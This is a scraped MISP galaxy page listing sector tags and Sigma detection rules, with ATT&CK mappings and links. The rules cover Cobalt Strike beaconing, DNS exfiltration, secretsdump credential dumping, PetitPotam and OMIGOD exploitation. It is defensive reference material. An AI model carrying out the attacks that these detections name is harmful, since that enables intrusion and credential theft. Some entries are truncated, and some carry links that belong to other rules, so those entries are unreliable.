The tag is: misp-galaxy:sector="Digital infrastructure"

Security actors
The tag is: misp-galaxy:sector="Security actors"

eCommerce
The tag is: misp-galaxy:sector="eCommerce"

Islamic forums
The tag is: misp-galaxy:sector="Islamic forums"

Journalist
The tag is: misp-galaxy:sector="Journalist"
Streaming service
The tag is: misp-galaxy:sector="Streaming service"

Publishing industry
The tag is: misp-galaxy:sector="Publishing industry"

Islamic organisation
The tag is: misp-galaxy:sector="Islamic organisation"

Casino
The tag is: misp-galaxy:sector="Casino"

Consulting
The tag is: misp-galaxy:sector="Consulting"

Online marketplace
The tag is: misp-galaxy:sector="Online marketplace"

DNS service provider
The tag is: misp-galaxy:sector="DNS service provider"

Veterinary
The tag is: misp-galaxy:sector="Veterinary"

Marketing
The tag is: misp-galaxy:sector="Marketing"

Video Sharing
The tag is: misp-galaxy:sector="Video Sharing"

Advertising
The tag is: misp-galaxy:sector="Advertising"
Investment
The tag is: misp-galaxy:sector="Investment"

Accounting
The tag is: misp-galaxy:sector="Accounting"

Programming
The tag is: misp-galaxy:sector="Programming"

Managed Services Provider
The tag is: misp-galaxy:sector="Managed Services Provider"

Lawyers
The tag is: misp-galaxy:sector="Lawyers"

Civil society
The tag is: misp-galaxy:sector="Civil society"

Petrochemical
The tag is: misp-galaxy:sector="Petrochemical"

Immigration
The tag is: misp-galaxy:sector="Immigration"

Non-profit organisation
The tag is: misp-galaxy:sector="Non-profit organisation"

Non-profit organisation is also known as:

• voluntary
• charitable
• non-profit-making
• not-for-profit
Sigma-Rules

MISP galaxy cluster based on Sigma Rules.

Sigma-Rules is a cluster galaxy available in JSON format at [this location](#) The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

@Joseliyo_Jstnk

Juniper BGP Missing MD5

Detects juniper BGP missing MD5 digest. Which may be indicative of brute force attacks to manipulate routing.

The tag is: `misp-galaxy:sigma-rules="Juniper BGP Missing MD5"`

View relationships graph

Juniper BGP Missing MD5 has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Brute Force - T1110"` with estimative-language:likelihood-probability="almost-certain"

Table 8195. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Cleartext Protocol Usage

Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels. Ensure that an encryption is used for all sensitive information in transit. Ensure that an encrypted channels is used for all administrative account access.

The tag is: `misp-galaxy:sigma-rules="Cleartext Protocol Usage"`

Table 8196. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Equation Group C2 Communication

Detects communication to C2 servers mentioned in the operational notes of the ShadowBroker leak of EquationGroup C2 tools

The tag is: `misp-galaxy:sigma-rules="Equation Group C2 Communication"`

View relationships graph

Equation Group C2 Communication has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041"` with `estimative-language:likelihood-probability="almost-certain"`

Table 8197. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://medium.com/@msuiche/the-nsa-compromised-swift-network-50ec3000b195">https://medium.com/@msuiche/the-nsa-compromised-swift-network-50ec3000b195</a></td>
</tr>
<tr>
<td><a href="https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation">https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_apt_equationgroup_c2.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_apt_equationgroup_c2.yml</a></td>
</tr>
</tbody>
</table>

Telegram Bot API Request

Detects suspicious DNS queries to api.telegram.org used by Telegram Bots of any kind

The tag is: `misp-galaxy:sigma-rules="Telegram Bot API Request"`

View relationships graph

Telegram Bot API Request has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002"` with `estimative-language:likelihood-probability="almost-certain"`

Table 8198. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
DNS Query to External Service Interaction Domains

Detects suspicious DNS queries to external service interaction domains often used for out-of-band interactions after successful RCE

The tag is: misp-galaxy:sigma-rules="DNS Query to External Service Interaction Domains"

View relationships graph

DNS Query to External Service Interaction Domains has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
• related-to: misp-galaxy:mitre-attack-pattern="Vulnerability Scanning - T1595.002" with estimative-language:likelihood-probability="almost-certain"

Table 8199. Table References

Links
https://twitter.com/breakersall/status/1533493587828260866

Cobalt Strike DNS Beaconing

Detects suspicious DNS queries known from Cobalt Strike beacons

The tag is: misp-galaxy:sigma-rules="Cobalt Strike DNS Beaconing"

View relationships graph

Cobalt Strike DNS Beaconing has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"

Table 8200. Table References

Links
https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns
DNS TXT Answer with Possible Execution Strings

Detects strings used in command execution in DNS TXT Answer

The tag is: misp-galaxy: sigma-rules="DNS TXT Answer with Possible Execution Strings"

View relationships graph

DNS TXT Answer with Possible Execution Strings has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"

Table 8201. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/stvemillertime/status/1024707932447854592">https://twitter.com/stvemillertime/status/1024707932447854592</a></td>
</tr>
<tr>
<td><a href="https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaee196d91ae447283e/Backdoors/DNS_TXT_Pwnage.ps1">https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaee196d91ae447283e/Backdoors/DNS_TXT_Pwnage.ps1</a></td>
</tr>
</tbody>
</table>

Suspicious DNS Query with B64 Encoded String

Detects suspicious DNS queries using base64 encoding

The tag is: misp-galaxy: sigma-rules="Suspicious DNS Query with B64 Encoded String"

View relationships graph

Suspicious DNS Query with B64 Encoded String has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"

Table 8202. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/krmaxwell/dns-exfiltration">https://github.com/krmaxwell/dns-exfiltration</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_b64_queries.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_b64_queries.yml</a></td>
</tr>
</tbody>
</table>

Wannacry Killswitch Domain

Detects wannacry killswitch domain dns queries

The tag is: misp-galaxy: sigma-rules="Wannacry Killswitch Domain"
Wannacry Killswitch Domain has relationships with:


Table 8203. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/wannacry-ransomware-campaign">https://www.mandiant.com/resources/blog/wannacry-ransomware-campaign</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_wannacry_killswitch_domain.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_wannacry_killswitch_domain.yml</a></td>
</tr>
</tbody>
</table>

**Monero Crypto Coin Mining Pool Lookup**

Detects suspicious DNS queries to Monero mining pools

The tag is: *misp-galaxy: sigma-rules="Monero Crypto Coin Mining Pool Lookup"*

Table 8204. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.nextron-systems.com/2021/10/24/monero-mining-pool-fqdns/">https://www.nextron-systems.com/2021/10/24/monero-mining-pool-fqdns/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_pua_cryptocoin_mining_xmr.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_pua_cryptocoin_mining_xmr.yml</a></td>
</tr>
</tbody>
</table>

**Cisco Discovery**

Find information about network devices that is not stored in config files

The tag is: *misp-galaxy: sigma-rules="Cisco Discovery"*

Table 8205. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.nextron-systems.com/2021/10/24/monero-mining-pool-fqdns/">https://www.nextron-systems.com/2021/10/24/monero-mining-pool-fqdns/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_pua_cryptocoin_mining_xmr.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_pua_cryptocoin_mining_xmr.yml</a></td>
</tr>
</tbody>
</table>
Cisco Modify Configuration

Modifications to a config that will serve an adversary's impacts or persistence

The tag is: `misp-galaxy:sigma-rules="Cisco Modify Configuration"`

View relationships graph

Cisco Modify Configuration has relationships with:

Cisco File Deletion

See what files are being deleted from flash file systems

The tag is: `misp-galaxy:sigma-rules="Cisco File Deletion"`

View relationships graph

Cisco File Deletion has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1561.001"` with estimative-language:likelihood-probability="almost-certain"

**Table 8207. Table References**

Links


Cisco Stage Data

Various protocols maybe used to put data on the device for exfil or infil

The tag is: `misp-galaxy:sigma-rules="Cisco Stage Data"`

View relationships graph

Cisco Stage Data has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Data Staged - T1074"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001"` with estimative-language:likelihood-probability="almost-certain"

**Table 8208. Table References**

Links

https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_moving_data.yml
Cisco Show Commands Input

See what commands are being input into the device by other people, full credentials can be in the history

The tag is: *misp-galaxy: sigma-rules="Cisco Show Commands Input"

View relationships graph

Cisco Show Commands Input has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern="Bash History - T1552.003" with estimative-language: likelihood-probability="almost-certain"

Cisco Collect Data

Collect pertinent data from the configuration files

The tag is: *misp-galaxy: sigma-rules="Cisco Collect Data"

View relationships graph

Cisco Collect Data has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern="Local Account - T1087.001" with estimative-language: likelihood-probability="almost-certain"
- related-to: *misp-galaxy: mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language: likelihood-probability="almost-certain"
- related-to: *misp-galaxy: mitre-attack-pattern="Data from Local System - T1005" with estimative-language: likelihood-probability="almost-certain"

Cisco Disabling Logging

Turn off logging locally or remote

The tag is: *misp-galaxy: sigma-rules="Cisco Disabling Logging"

View relationships graph
Cisco Disabling Logging has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

**Cisco Denial of Service**

Detect a system being shutdown or put into different boot mode

The tag is: *misp-galaxy:sigma-rules="Cisco Denial of Service"*

View relationships graph

Cisco Denial of Service has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Firmware Corruption - T1495" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1565.001" with estimative-language:likelihood-probability="almost-certain"

**Cisco Sniffing**

Show when a monitor or a span/rspan is setup or modified

The tag is: *misp-galaxy:sigma-rules="Cisco Sniffing"*

View relationships graph

Cisco Sniffing has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
Cisco Local Accounts

Find local accounts being created or modified as well as remote authentication configurations

The tag is: misp-galaxy:sigma-rules="Cisco Local Accounts"

View relationships graph

Cisco Local Accounts has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 8214. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_local_accounts.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_local_accounts.yml</a></td>
</tr>
</tbody>
</table>

Cisco Crypto Commands

Show when private keys are being exported from the device, or when new certificates are installed

The tag is: misp-galaxy:sigma-rules="Cisco Crypto Commands"

View relationships graph

Cisco Crypto Commands has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"

Table 8215. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_crypto_actions.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_crypto_actions.yml</a></td>
</tr>
</tbody>
</table>

Cisco Clear Logs

Clear command history in network OS which is used for defense evasion
The tag is: `misp-galaxy:sigma-rules="Cisco Clear Logs"`

View relationships graph

Cisco Clear Logs has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003"` with estimative-language:likelihood-probability="almost-certain"

Table 8216. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_clear_logs.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_clear_logs.yml</a></td>
</tr>
</tbody>
</table>

**Cisco LDP Authentication Failures**

Detects LDP failures which may be indicative of brute force attacks to manipulate MPLS labels

The tag is: `misp-galaxy:sigma-rules="Cisco LDP Authentication Failures"`

View relationships graph

Cisco LDP Authentication Failures has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Brute Force - T1110"` with estimative-language:likelihood-probability="almost-certain"

Table 8217. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/ldp/cisco_ldp_md5_auth_failed.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/ldp/cisco_ldp_md5_auth_failed.yml</a></td>
</tr>
</tbody>
</table>

**Cisco BGP Authentication Failures**

Detects BGP failures which may be indicative of brute force attacks to manipulate routing

The tag is: `misp-galaxy:sigma-rules="Cisco BGP Authentication Failures"`

View relationships graph

Cisco BGP Authentication Failures has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"` with estimative-
Huawei BGP Authentication Failures

Detects BGP failures which may be indicative of brute force attacks to manipulate routing.

The tag is: `misp-galaxy:sigma-rules="Huawei BGP Authentication Failures"`

View relationships graph

Huawei BGP Authentication Failures has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Brute Force - T1110"` with estimative-language:likelihood-probability="almost-certain"

Default Cobalt Strike Certificate

Detects the presence of default Cobalt Strike certificate in the HTTPS traffic

The tag is: `misp-galaxy:sigma-rules="Default Cobalt Strike Certificate"`
Publicly Accessible RDP Service

Detects connections from routable IPs to an RDP listener - which is indicative of a publicly-accessible RDP service.

The tag is: `misp-galaxy:sigma-rules="Publicly Accessible RDP Service"`

View relationships graph

Publicly Accessible RDP Service has relationships with:


Kerberos Network Traffic RC4 Ticket Encryption

Detects kerberos TGS request using RC4 encryption which may be indicative of kerberoasting

The tag is: `misp-galaxy:sigma-rules="Kerberos Network Traffic RC4 Ticket Encryption"`

View relationships graph

Kerberos Network Traffic RC4 Ticket Encryption has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003"` with estimative-language:likelihood-probability="almost-certain"

Potential PetitPotam Attack Via EFS RPC Calls

Detects usage of the windows RPC library Encrypting File System Remote Protocol (MS-EFSRPC). Variations of this RPC are used within the attack refereed to as PetitPotam. The usage of this RPC
function should be rare if ever used at all. Thus usage of this function is uncommon enough that any usage of this RPC function should warrant further investigation to determine if it is legitimate. View surrounding logs (within a few minutes before and after) from the Source IP to. Logs from from the Source IP would include dce_rpc, smb_mapping, smb_files, rdp, ntlm, kerberos, etc.'

The tag is: `misp-galaxy:sigma-rules="Potential PetitPotam Attack Via EFS RPC Calls"`

View relationships graph

Potential PetitPotam Attack Via EFS RPC Calls has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"

Table 8223. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/topotam/PetitPotam/blob/d83ac8f2dd34654628c17490f9106eb128e7d1e/PetitPotam/PetitPotam.cpp">https://github.com/topotam/PetitPotam/blob/d83ac8f2dd34654628c17490f9106eb128e7d1e/PetitPotam/PetitPotam.cpp</a></td>
</tr>
<tr>
<td><a href="https://threatpost.com/microsoft-petitpotam-poc/168163/">https://threatpost.com/microsoft-petitpotam-poc/168163/</a></td>
</tr>
</tbody>
</table>

**WebDav Put Request**

A General detection for WebDav user-agent being used to PUT files on a WebDav network share. This could be an indicator of exfiltration.

The tag is: `misp-galaxy:sigma-rules="WebDav Put Request"`

View relationships graph

WebDav Put Request has relationships with:


Table 8224. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/OTRF/detection-hackathon-apt29/issues/17">https://github.com/OTRF/detection-hackathon-apt29/issues/17</a></td>
</tr>
</tbody>
</table>
Remote Task Creation via ATSVC Named Pipe - Zeek

Detects remote task creation via at.exe or API interacting with ATSVC namedpipe

The tag is: `misp-galaxy:sigma-rules="Remote Task Creation via ATSVC Named Pipe - Zeek"`

View relationships graph

Remote Task Creation via ATSVC Named Pipe - Zeek has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="At - T1053.002"` with estimative-language:likelihood-probability="almost-certain"

Table 8225. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.menasec.net/2019/03/threat-hunting-25-scheduled-tasks-for.html">https://blog.menasec.net/2019/03/threat-hunting-25-scheduled-tasks-for.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smbConverted_win_atsvc_task.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smbConverted_win_atsvc_task.yml</a></td>
</tr>
</tbody>
</table>

Executable from Webdav

Detects executable access via webdav6. Can be seen in APT 29 such as from the emulated APT 29 hackathon https://github.com/OTRF/detection-hackathon-apt29/

The tag is: `misp-galaxy:sigma-rules="Executable from Webdav"`

View relationships graph

Executable from Webdav has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

Table 8226. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://carnal0wnage.attackresearch.com/2012/06/webdav-server-to-download-custom.html">http://carnal0wnage.attackresearch.com/2012/06/webdav-server-to-download-custom.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/OTRF/detection-hackathon-apt29">https://github.com/OTRF/detection-hackathon-apt29</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_httpexecutable_downloaded_from_webdav.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_httpexecutable_downloaded_from_webdav.yml</a></td>
</tr>
</tbody>
</table>

DNS TOR Proxies

Identifies IPs performing DNS lookups associated with common Tor proxies.

The tag is: `misp-galaxy:sigma-rules="DNS TOR Proxies"`

View relationships graph
DNS TOR Proxies has relationships with:


Table 8227. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/ASimDNS/imDNS_TorProxies.yaml">https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/ASimDNS/imDNS_TorProxies.yaml</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_torproxy.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_torproxy.yml</a></td>
</tr>
</tbody>
</table>

OMIGOD HTTP No Authentication RCE

Detects the exploitation of OMIGOD (CVE-2021-38647) which allows remote execute (RCE) commands as root with just a single unauthenticated HTTP request. Verify, successful, exploitation by viewing the HTTP client (request) body to see what was passed to the server (using PCAP). Within the client body is where the code execution would occur. Additionally, check the endpoint logs to see if suspicious commands or activity occurred within the timeframe of this HTTP request.

The tag is: misp-galaxy:sigma-rules="OMIGOD HTTP No Authentication RCE"

View relationships graph

OMIGOD HTTP No Authentication RCE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"

Table 8228. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/neu5ron/status/1438987292971053057?s=20">https://twitter.com/neu5ron/status/1438987292971053057?s=20</a></td>
</tr>
<tr>
<td><a href="https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure">https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure</a></td>
</tr>
</tbody>
</table>
MITRE BZAR Indicators for Execution

Windows DCE-RPC functions which indicate an execution techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE.

The tag is: `misp-galaxy: sigma-rules="MITRE BZAR Indicators for Execution"`

View relationships graph

MITRE BZAR Indicators for Execution has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="At - T1053.002"` with estimative-language:likelihood-probability="almost-certain"

Table 8229. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/mitre-attack/bzar#indicators-for-attck-execution">https://github.com/mitre-attack/bzar#indicators-for-attck-execution</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_mitre_bzar_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_mitre_bzar_execution.yml</a></td>
</tr>
</tbody>
</table>

Possible Impacket SecretDump Remote Activity - Zeek

Detect AD credential dumping using impacket secretdump HKTL. Based on the SIGMA rules/windows/builtin/win_impacket_secretdump.yml.

The tag is: `misp-galaxy: sigma-rules="Possible Impacket SecretDump Remote Activity - Zeek"`

View relationships graph

Possible Impacket SecretDump Remote Activity - Zeek has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="LSA Secrets - T1003.004"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy: mitre-attack-pattern="NTDS - T1003.003"` with estimative-language:likelihood-probability="almost-certain"

Table 8230. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html">https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html</a></td>
</tr>
</tbody>
</table>
Suspicious PsExec Execution - Zeek

detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one

The tag is: `misp-galaxy:sigma-rules="Suspicious PsExec Execution - Zeek"`

View relationships graph

Suspicious PsExec Execution - Zeek has relationships with:


Table 8231. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html">https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_impacket_secretdump.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_impacket_secretdump.yml</a></td>
</tr>
</tbody>
</table>

New Kind of Network (NKN) Detection

NKN is a networking service using blockchain technology to support a decentralized network of peers. While there are legitimate uses for it, it can also be used as a C2 channel. This rule looks for a DNS request to the ma>

The tag is: `misp-galaxy:sigma-rules="New Kind of Network (NKN) Detection"`

Table 8232. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/Maka8ka/NGLite">https://github.com/Maka8ka/NGLite</a></td>
</tr>
<tr>
<td><a href="https://github.com/nknorg/nkn-sdk-go">https://github.com/nknorg/nkn-sdk-go</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcspompne/">https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcspompne/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_nkn.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_nkn.yml</a></td>
</tr>
</tbody>
</table>

MITRE BZAR Indicators for Persistence

Windows DCE-RPC functions which indicate a persistence techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE.

The tag is: `misp-galaxy:sigma-rules="MITRE BZAR Indicators for Persistence"`
MITRE BZAR Indicators for Persistence has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004" with estimative-language:likelihood-probability="almost-certain"

**SMB Spoolss Name Piped Usage**

Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.

The tag is: `misp-galaxy:sigma-rules="SMB Spoolss Name Piped Usage"`

**DNS Events Related To Mining Pools**

Identifies clients that may be performing DNS lookups associated with common currency mining pools.

The tag is: `misp-galaxy:sigma-rules="DNS Events Related To Mining Pools"`
Possible PrintNightmare Print Driver Install

Detects the remote installation of a print driver which is possible indication of the exploitation of PrintNightmare (CVE-2021-1675). The occurrence of print drivers being installed remotely via RPC functions should be rare, as print drivers are normally installed locally and or through group policy.

The tag is: misp-galaxy:sigma-rules="Possible PrintNightmare Print Driver Install"

Suspicious Access to Sensitive File Extensions - Zeek

Detects known sensitive file extensions via Zeek

The tag is: misp-galaxy:sigma-rules="Suspicious Access to Sensitive File Extensions - Zeek"
First Time Seen Remote Named Pipe - Zeek

This detection excludes known named pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes.

The tag is: *misp-galaxy:sigma-rules=“First Time Seen Remote Named Pipe - Zeek”*

View relationships graph

First Time Seen Remote Named Pipe - Zeek has relationships with:


Transferring Files with Credential Data via Network Shares - Zeek

Transferring files with well-known filenames (sensitive files with credential data) using network shares.

The tag is: *misp-galaxy:sigma-rules=“Transferring Files with Credential Data via Network Shares - Zeek”*

View relationships graph

Transferring Files with Credential Data via Network Shares - Zeek has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=“LSASS Memory - T1003.001” with estimative-language:likelihood-probability=“almost-certain“

Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/menasec1/status/1104489274387451904">https://twitter.com/menasec1/status/1104489274387451904</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_lm_namedpipe.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_lm_namedpipe.yml</a></td>
</tr>
</tbody>
</table>
**Suspicious DNS Z Flag Bit Set**

